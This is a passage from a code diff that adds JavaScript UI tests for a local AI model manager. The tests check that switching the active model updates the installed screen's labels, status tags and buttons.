[ + { ...QWEN_ROW, active: false }, + { ...GPT_ROW, actions: [] }, + ], + actions: ['cancel'], + } + ); + const switched = status( + {}, + { + ...TWO.install, + model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B' }, + library: [ + { ...GPT_ROW, active: true, actions: [] }, + { ...QWEN_ROW, active: false, actions: ['use', 'delete'] }, + ], + } + ); + const { app, serve } = await opened(page, switching); + expect(page.body.dataset.screen).toBe('progress'); + serve(switched); + await app.loadLocalModel({ force: true }); + expect(page.body.dataset.screen).toBe('installed'); + expect(texts(page.body, '.lm-lib-label')).toEqual(['GPT-OSS 20B', 'Qwen3.6 35B-A3B']); + expect(texts(page.body, '.lm-lib-tag .lm-tag')).toEqual(['In use', 'Ready']); + expect(rowButtons(page)).toEqual(['Use', 'Delete']); + // The whole installed screen, not the one-button screen that ends an install. + expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']); + expect(texts(page.body, '.lm-lib-foot button')).toEqual(['Add a model']); + }); + it('"Add a model" opens the chooser on an installed model, and Back returns to it', async () => { const page = mount(); const { app } = await opened(page, TWO);